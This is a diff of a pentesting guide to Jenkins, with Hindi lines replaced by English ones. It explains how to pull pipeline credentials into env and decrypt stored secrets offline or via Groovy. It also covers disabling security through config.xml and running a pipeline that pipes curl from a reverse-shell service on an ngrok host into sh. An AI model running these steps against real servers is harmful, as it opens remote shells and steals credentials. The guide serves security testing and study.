{{#endref}}
|
||||
|
||||
क्रेडेंशियल्स को **वैश्विक प्रदाताओं** (`/credentials/`) या **विशिष्ट परियोजनाओं** (`/job/<project-name>/configure`) के लिए **स्कोप किया जा सकता है**। इसलिए, सभी को निकालने के लिए आपको **कम से कम सभी परियोजनाओं से समझौता करना होगा** जो रहस्यों को शामिल करती हैं और कस्टम/जहरीले पाइपलाइनों को निष्पादित करना होगा।
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
|
||||
|
||||
There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
|
||||
|
||||
एक और समस्या है, पाइपलाइन के **env** के अंदर एक **रहस्य** प्राप्त करने के लिए आपको **रहस्य का नाम और प्रकार जानना होगा**। उदाहरण के लिए, यदि आप एक **`usernamePassword`** **रहस्य** को **`string`** **रहस्य** के रूप में **लोड** करने की कोशिश करते हैं, तो आपको यह **त्रुटि** मिलेगी:
|
||||
```
|
||||
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
|
||||
```
|
||||
यहाँ कुछ सामान्य गुप्त प्रकार लोड करने का तरीका है:
|
||||
|
||||
Here you have the way to load some common secret types:
|
||||
|
||||
```bash
|
||||
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
|
||||
sh '''
|
||||
env #Search for USERNAME and PASS
|
||||
'''
|
||||
sh '''
|
||||
env #Search for USERNAME and PASS
|
||||
'''
|
||||
}
|
||||
|
||||
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
|
||||
sh '''
|
||||
env #Search for SECRET
|
||||
'''
|
||||
sh '''
|
||||
env #Search for SECRET
|
||||
'''
|
||||
}
|
||||
|
||||
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
|
||||
sh '''
|
||||
env # Search for USERPASS
|
||||
'''
|
||||
sh '''
|
||||
env # Search for USERPASS
|
||||
'''
|
||||
}
|
||||
|
||||
# You can also load multiple env variables at once
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
env
|
||||
'''
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
env
|
||||
'''
|
||||
}
|
||||
```
|
||||
इस पृष्ठ के अंत में आप **सभी क्रेडेंशियल प्रकार** पा सकते हैं: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
> [!WARNING]
|
||||
> **सभी रहस्यों को एक साथ डंप करने** का सबसे अच्छा तरीका **Jenkins** मशीन को **समझौता करना** है (उदाहरण के लिए **बिल्ट-इन नोड** में एक रिवर्स शेल चलाना) और फिर **मास्टर कीज़** और **एन्क्रिप्टेड रहस्यों** को **लीक** करना और उन्हें ऑफलाइन डिक्रिप्ट करना।\
|
||||
> इसे करने के बारे में अधिक जानकारी [Nodes & Agents section](./#nodes-and-agents) और [Post Exploitation section](./#post-exploitation) में है।
|
||||
> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
|
||||
> More on how to do this in the [Nodes & Agents section](#nodes-and-agents) and in the [Post Exploitation section](#post-exploitation).
|
||||
|
||||
### ट्रिगर्स
|
||||
### Triggers
|
||||
|
||||
[दस्तावेज़ों](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers) से: `triggers` निर्देश **स्वचालित तरीकों को परिभाषित करता है जिनमें पाइपलाइन को फिर से ट्रिगर किया जाना चाहिए**। उन पाइपलाइनों के लिए जो GitHub या BitBucket जैसे स्रोत के साथ एकीकृत हैं, `triggers` आवश्यक नहीं हो सकते हैं क्योंकि वेबहुक-आधारित एकीकरण पहले से मौजूद हो सकता है। वर्तमान में उपलब्ध ट्रिगर्स हैं `cron`, `pollSCM` और `upstream`।
|
||||
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
|
||||
|
||||
Cron example:
|
||||
|
||||
क्रोन उदाहरण:
|
||||
```bash
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
```
|
||||
चेक करें **दस्तावेज़ों में अन्य उदाहरण**।
|
||||
|
||||
### नोड्स और एजेंट्स
|
||||
Check **other examples in the docs**.
|
||||
|
||||
एक **Jenkins उदाहरण** में **विभिन्न मशीनों में विभिन्न एजेंट चल सकते हैं**। हमलावर के दृष्टिकोण से, विभिन्न मशीनों तक पहुंच का मतलब है **चोरी करने के लिए विभिन्न संभावित क्लाउड क्रेडेंशियल्स** या **विभिन्न नेटवर्क एक्सेस** जो अन्य मशीनों का शोषण करने के लिए दुरुपयोग किया जा सकता है।
|
||||
### Nodes & Agents
|
||||
|
||||
अधिक जानकारी के लिए बुनियादी जानकारी देखें:
|
||||
A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
|
||||
|
||||
For more information check the basic information:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
आप `/computer/` में **कॉन्फ़िगर किए गए नोड्स** की गणना कर सकते हैं, आपको आमतौर पर \*\*`Built-In Node` \*\* (जो Jenkins चला रहा है) और संभावित रूप से अधिक मिलेंगे:
|
||||
You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
|
||||
|
||||
.png>)
|
||||
|
||||
**Built-In नोड को समझौता करना विशेष रूप से दिलचस्प है** क्योंकि इसमें संवेदनशील Jenkins जानकारी होती है।
|
||||
It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
|
||||
|
||||
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
|
||||
|
||||
आप यह संकेत देने के लिए कि आप **पाइपलाइन** को **बिल्ट-इन Jenkins नोड** में **चलाना** चाहते हैं, पाइपलाइन के अंदर निम्नलिखित कॉन्फ़िगरेशन निर्दिष्ट कर सकते हैं:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
agent {label 'built-in'}
|
||||
```
|
||||
### पूरा उदाहरण
|
||||
|
||||
एक विशेष एजेंट में पाइपलाइन, एक क्रॉन ट्रिगर के साथ, पाइपलाइन और स्टेज पर्यावरण चर के साथ, एक चरण में 2 चर लोड करना और एक रिवर्स शेल भेजना:
|
||||
### Complete example
|
||||
|
||||
Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
|
||||
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
agent {label 'built-in'}
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
post {
|
||||
always {
|
||||
cleanWs()
|
||||
}
|
||||
}
|
||||
post {
|
||||
always {
|
||||
cleanWs()
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## मनमाना फ़ाइल पढ़ना से RCE
|
||||
|
||||
## Arbitrary File Read to RCE
|
||||
|
||||
{{#ref}}
|
||||
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
|
||||
@@ -306,17 +326,19 @@ jenkins-rce-creating-modifying-project.md
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## पोस्ट एक्सप्लोइटेशन
|
||||
## Post Exploitation
|
||||
|
||||
### Metasploit
|
||||
|
||||
### मेटास्प्लॉइट
|
||||
```
|
||||
msf> post/multi/gather/jenkins_gather
|
||||
```
|
||||
|
||||
### Jenkins Secrets
|
||||
|
||||
आप `/credentials/` को एक्सेस करके रहस्यों की सूची बना सकते हैं यदि आपके पास पर्याप्त अनुमतियाँ हैं। ध्यान दें कि यह केवल `credentials.xml` फ़ाइल के अंदर के रहस्यों की सूची बनाएगा, लेकिन **बिल्ड कॉन्फ़िगरेशन फ़ाइलें** भी **अधिक क्रेडेंशियल्स** हो सकती हैं।
|
||||
You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
|
||||
|
||||
यदि आप **प्रत्येक प्रोजेक्ट की कॉन्फ़िगरेशन देख सकते हैं**, तो आप वहाँ **क्रेडेंशियल्स (रहस्यों)** के नाम भी देख सकते हैं जो रिपॉजिटरी और **प्रोजेक्ट के अन्य क्रेडेंशियल्स** तक पहुँचने के लिए उपयोग किए जा रहे हैं।
|
||||
If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -328,18 +350,19 @@ jenkins-dumping-secrets-from-groovy.md
|
||||
|
||||
#### From disk
|
||||
|
||||
इन फ़ाइलों की आवश्यकता है **Jenkins रहस्यों को डिक्रिप्ट करने के लिए**:
|
||||
These files are needed to **decrypt Jenkins secrets**:
|
||||
|
||||
- secrets/master.key
|
||||
- secrets/hudson.util.Secret
|
||||
|
||||
ऐसे **रहस्य आमतौर पर** मिल सकते हैं:
|
||||
Such **secrets can usually be found in**:
|
||||
|
||||
- credentials.xml
|
||||
- jobs/.../build.xml
|
||||
- jobs/.../config.xml
|
||||
|
||||
उन्हें खोजने के लिए यहाँ एक regex है:
|
||||
Here's a regex to find them:
|
||||
|
||||
```bash
|
||||
# Find the secrets
|
||||
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
@@ -349,9 +372,11 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
# Secret example
|
||||
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
|
||||
```
|
||||
#### Jenkins रहस्यों को ऑफ़लाइन डिक्रिप्ट करें
|
||||
|
||||
यदि आपने **रहस्यों को डिक्रिप्ट करने के लिए आवश्यक पासवर्ड्स को डंप किया है**, तो **उन रहस्यों को डिक्रिप्ट करने के लिए [**यह स्क्रिप्ट**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) का उपयोग करें**।
|
||||
#### Decrypt Jenkins secrets offline
|
||||
|
||||
If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
|
||||
|
||||
```bash
|
||||
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
06165DF2-C047-4402-8CAB-1C8EC526C115
|
||||
@@ -359,20 +384,23 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
|
||||
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
|
||||
```
|
||||
#### Groovy से Jenkins रहस्यों को डिक्रिप्ट करें
|
||||
|
||||
#### Decrypt Jenkins secrets from Groovy
|
||||
|
||||
```bash
|
||||
println(hudson.util.Secret.decrypt("{...}"))
|
||||
```
|
||||
### नया प्रशासनिक उपयोगकर्ता बनाएं
|
||||
|
||||
1. `/var/lib/jenkins/config.xml` या `C:\Program Files (x86)\Jenkis\` में Jenkins config.xml फ़ाइल तक पहुँचें।
|
||||
2. `<useSecurity>true</useSecurity>` शब्द के लिए खोजें और शब्द **`true`** को **`false`** में बदलें।
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Jenkins** सर्वर को **पुनः प्रारंभ** करें: `service jenkins restart`
|
||||
4. अब फिर से Jenkins पोर्टल पर जाएं और इस बार **Jenkins कोई प्रमाण पत्र नहीं मांगेगा**। आप **प्रशासक पासवर्ड फिर से सेट करने** के लिए "**Manage Jenkins**" पर नेविगेट करें।
|
||||
5. सेटिंग्स को `<useSecurity>true</useSecurity>` में बदलकर **सुरक्षा** को फिर से **सक्षम** करें और **Jenkins को फिर से पुनः प्रारंभ** करें।
|
||||
### Create new admin user
|
||||
|
||||
## संदर्भ
|
||||
1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
|
||||
2. Search for the word `<useSecurity>true</useSecurity>`and change the word \*\*`true` \*\* to **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Restart** the **Jenkins** server: `service jenkins restart`
|
||||
4. Now go to the Jenkins portal again and **Jenkins will not ask any credentials** this time. You navigate to "**Manage Jenkins**" to set the **administrator password again**.
|
||||
5. **Enable** the **security** again by changing settings to `<useSecurity>true</useSecurity>` and **restart the Jenkins again**.
|
||||
|
||||
## References
|
||||
|
||||
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
|
||||
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
|
||||
@@ -382,3 +410,6 @@ println(hudson.util.Secret.decrypt("{...}"))
|
||||
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,48 +6,48 @@
|
||||
|
||||
### Username + Password
|
||||
|
||||
Jenkins में लॉगिन करने का सबसे सामान्य तरीका एक उपयोगकर्ता नाम या पासवर्ड के साथ है।
|
||||
The most common way to login in Jenkins if with a username or a password
|
||||
|
||||
### Cookie
|
||||
|
||||
यदि एक **अधिकृत कुकी चुराई जाती है**, तो इसका उपयोग उपयोगकर्ता के सत्र तक पहुँचने के लिए किया जा सकता है। कुकी को आमतौर पर `JSESSIONID.*` कहा जाता है। (एक उपयोगकर्ता अपने सभी सत्रों को समाप्त कर सकता है, लेकिन उसे पहले यह पता लगाना होगा कि एक कुकी चुराई गई थी)।
|
||||
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
|
||||
|
||||
### SSO/Plugins
|
||||
|
||||
Jenkins को **तीसरे पक्ष के SSO के माध्यम से पहुँच योग्य** बनाने के लिए प्लगइन्स का उपयोग करके कॉन्फ़िगर किया जा सकता है।
|
||||
Jenkins can be configured using plugins to be **accessible via third party SSO**.
|
||||
|
||||
### Tokens
|
||||
|
||||
**उपयोगकर्ता टोकन उत्पन्न कर सकते हैं** ताकि CLI या REST API के माध्यम से उनके रूप में अनुप्रयोगों को पहुँच दी जा सके।
|
||||
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
|
||||
|
||||
### SSH Keys
|
||||
|
||||
यह घटक Jenkins के लिए एक अंतर्निहित SSH सर्वर प्रदान करता है। यह [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/) के लिए एक वैकल्पिक इंटरफ़ेस है, और किसी भी SSH क्लाइंट का उपयोग करके इस तरह से कमांड को लागू किया जा सकता है। (From the [docs](https://plugins.jenkins.io/sshd/))
|
||||
This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
|
||||
|
||||
## Authorization
|
||||
|
||||
`/configureSecurity` में यह संभव है कि **Jenkins के प्राधिकरण विधि को कॉन्फ़िगर किया जाए**। कई विकल्प हैं:
|
||||
In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
|
||||
|
||||
- **कोई भी कुछ भी कर सकता है**: यहां तक कि गुमनाम पहुँच भी सर्वर का प्रशासन कर सकती है।
|
||||
- **Legacy mode**: Jenkins <1.164 के समान। यदि आपके पास **"admin" भूमिका** है, तो आपको **पूर्ण नियंत्रण** दिया जाएगा, और **अन्यथा** (जिसमें **गुमनाम** उपयोगकर्ता शामिल हैं) आपको **पढ़ने** की पहुँच मिलेगी।
|
||||
- **लॉगिन किए गए उपयोगकर्ता कुछ भी कर सकते हैं**: इस मोड में, हर **लॉगिन किए गए उपयोगकर्ता को Jenkins का पूर्ण नियंत्रण मिलता है**। एकमात्र उपयोगकर्ता जिसे पूर्ण नियंत्रण नहीं मिलेगा वह **गुमनाम उपयोगकर्ता** है, जिसे केवल **पढ़ने की पहुँच** मिलती है।
|
||||
- **Matrix-based security**: आप एक तालिका में **कौन क्या कर सकता है** कॉन्फ़िगर कर सकते हैं। प्रत्येक **स्तंभ** एक **अनुमति** का प्रतिनिधित्व करता है। प्रत्येक **पंक्ति** **एक उपयोगकर्ता या समूह/भूमिका का प्रतिनिधित्व करती है।** इसमें एक विशेष उपयोगकर्ता '**गुमनाम**' शामिल है, जो **अप्रमाणित उपयोगकर्ताओं** का प्रतिनिधित्व करता है, साथ ही '**प्रमाणित**', जो **सभी प्रमाणित उपयोगकर्ताओं** का प्रतिनिधित्व करता है।
|
||||
- **Anyone can do anything**: Even anonymous access can administrate the server
|
||||
- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
|
||||
- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
|
||||
- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Project-based Matrix Authorization Strategy:** यह मोड "**Matrix-based security**" का एक **विस्तार** है जो प्रत्येक परियोजना के लिए अलग-अलग ACL मैट्रिक्स को **परिभाषित करने** की अनुमति देता है।
|
||||
- **Role-Based Strategy:** एक **भूमिका-आधारित रणनीति** का उपयोग करके प्राधिकरण को परिभाषित करने की अनुमति देता है। `/role-strategy` में भूमिकाओं का प्रबंधन करें।
|
||||
- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
|
||||
- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
|
||||
|
||||
## **Security Realm**
|
||||
|
||||
`/configureSecurity` में यह संभव है कि **सुरक्षा क्षेत्र को कॉन्फ़िगर किया जाए।** डिफ़ॉल्ट रूप से Jenkins में कुछ विभिन्न सुरक्षा क्षेत्रों के लिए समर्थन शामिल है:
|
||||
In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
|
||||
|
||||
- **Delegate to servlet container**: **Jenkins नियंत्रक** चलाने वाले एक सर्वलेट कंटेनर के लिए प्रमाणीकरण को **सौंपना**, जैसे [Jetty](https://www.eclipse.org/jetty/)।
|
||||
- **Jenkins’ own user database:** बाहरी प्रणाली को सौंपने के बजाय प्रमाणीकरण के लिए **Jenkins के अपने अंतर्निहित उपयोगकर्ता डेटा स्टोर** का उपयोग करें। यह डिफ़ॉल्ट रूप से सक्षम है।
|
||||
- **LDAP**: एक कॉन्फ़िगर किए गए LDAP सर्वर को सभी प्रमाणीकरण सौंपें, जिसमें उपयोगकर्ता और समूह दोनों शामिल हैं।
|
||||
- **Unix user/group database**: **Jenkins नियंत्रक पर अंतर्निहित Unix** OS-स्तरीय उपयोगकर्ता डेटाबेस को प्रमाणीकरण सौंपता है। यह मोड प्राधिकरण के लिए Unix समूहों के पुन: उपयोग की अनुमति भी देगा।
|
||||
- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
|
||||
- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
|
||||
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
|
||||
|
||||
प्लगइन्स अतिरिक्त सुरक्षा क्षेत्रों को प्रदान कर सकते हैं जो Jenkins को मौजूदा पहचान प्रणालियों में शामिल करने के लिए उपयोगी हो सकते हैं, जैसे:
|
||||
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
|
||||
|
||||
- [Active Directory](https://plugins.jenkins.io/active-directory)
|
||||
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
|
||||
@@ -55,31 +55,31 @@ Jenkins को **तीसरे पक्ष के SSO के माध्य
|
||||
|
||||
## Jenkins Nodes, Agents & Executors
|
||||
|
||||
[docs](https://www.jenkins.io/doc/book/managing/nodes/) से परिभाषाएँ:
|
||||
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
|
||||
**Nodes** वे **मशीनें** हैं जिन पर निर्माण **एजेंट चलते हैं**। Jenkins प्रत्येक जुड़े हुए नोड की निगरानी करता है कि डिस्क स्थान, फ्री टेम्प स्पेस, फ्री स्वैप, घड़ी का समय/सिंक और प्रतिक्रिया समय। यदि इनमें से कोई भी मान कॉन्फ़िगर किए गए थ्रेशोल्ड से बाहर चला जाता है, तो एक नोड को ऑफ़लाइन ले लिया जाता है।
|
||||
**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
|
||||
|
||||
**Agents** **Jenkins नियंत्रक** की ओर से **कार्य निष्पादन** का प्रबंधन करते हैं **executors** का उपयोग करके। एक एजेंट किसी भी ऑपरेटिंग सिस्टम का उपयोग कर सकता है जो Java का समर्थन करता है। निर्माण और परीक्षण के लिए आवश्यक उपकरण उस नोड पर स्थापित होते हैं जहां एजेंट चलता है; उन्हें **प्रत्यक्ष रूप से या एक कंटेनर में** (Docker या Kubernetes) स्थापित किया जा सकता है। प्रत्येक **एजेंट वास्तव में मेज़बान मशीन पर अपने स्वयं के PID के साथ एक प्रक्रिया है**।
|
||||
**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
|
||||
|
||||
एक **executor** **कार्य निष्पादन के लिए एक स्लॉट** है; वास्तव में, यह **एजेंट में एक थ्रेड है**। एक नोड पर **executors की संख्या** उस नोड पर एक समय में निष्पादित होने वाले **समानांतर कार्यों** की संख्या को परिभाषित करती है। दूसरे शब्दों में, यह उस नोड पर एक समय में निष्पादित होने वाले **समानांतर Pipeline `stages`** की संख्या को निर्धारित करता है।
|
||||
An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
|
||||
|
||||
## Jenkins Secrets
|
||||
|
||||
### Encryption of Secrets and Credentials
|
||||
|
||||
[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) से परिभाषा: Jenkins **गुप्त, क्रेडेंशियल्स और उनके संबंधित एन्क्रिप्शन कुंजियों** को एन्क्रिप्ट और सुरक्षित करने के लिए **AES का उपयोग करता है**। ये एन्क्रिप्शन कुंजियाँ `$JENKINS_HOME/secrets/` में संग्रहीत होती हैं, साथ ही उस मास्टर कुंजी के साथ जो उक्त कुंजियों की सुरक्षा के लिए उपयोग की जाती है। इस निर्देशिका को इस तरह कॉन्फ़िगर किया जाना चाहिए कि केवल ऑपरेटिंग सिस्टम उपयोगकर्ता जिसके रूप में Jenkins नियंत्रक चल रहा है, को इस निर्देशिका में पढ़ने और लिखने की पहुँच हो (यानी, `chmod` मान `0700` या उपयुक्त फ़ाइल विशेषताओं का उपयोग करके)। **मास्टर कुंजी** (जिसे कभी-कभी क्रिप्टोजार्गन में "कुंजी एन्क्रिप्शन कुंजी" कहा जाता है) **Jenkins नियंत्रक फ़ाइल सिस्टम में \_unencrypted\_** में **`$JENKINS_HOME/secrets/master.key`** में संग्रहीत होती है जो उन हमलावरों के खिलाफ सुरक्षा नहीं करती है जिनके पास उस फ़ाइल तक सीधी पहुँच है। अधिकांश उपयोगकर्ता और डेवलपर्स इन एन्क्रिप्शन कुंजियों का अप्रत्यक्ष रूप से उपयोग करेंगे या तो [Secret](https://javadoc.jenkins.io/byShortName/Secret) API के माध्यम से सामान्य गुप्त डेटा को एन्क्रिप्ट करने के लिए या क्रेडेंशियल्स API के माध्यम से। क्रिप्टोक्यूरियस के लिए, Jenkins AES का उपयोग करता है जो सिफर ब्लॉक चेनिंग (CBC) मोड में PKCS#5 पैडिंग और यादृच्छिक IVs के साथ [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) के उदाहरणों को एन्क्रिप्ट करने के लिए जो `$JENKINS_HOME/secrets/` में संग्रहीत होते हैं जिनका फ़ाइल नाम उनके `CryptoConfidentialKey` आईडी के अनुरूप होता है। सामान्य कुंजी आईडी में शामिल हैं:
|
||||
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
|
||||
|
||||
- `hudson.util.Secret`: सामान्य गुप्तों के लिए उपयोग किया जाता है;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: कुछ क्रेडेंशियल प्रकारों के लिए उपयोग किया जाता है;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: [CSRF सुरक्षा तंत्र](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) द्वारा उपयोग किया जाता है; और
|
||||
- `hudson.util.Secret`: used for generic secrets;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
|
||||
|
||||
### Credentials Access
|
||||
|
||||
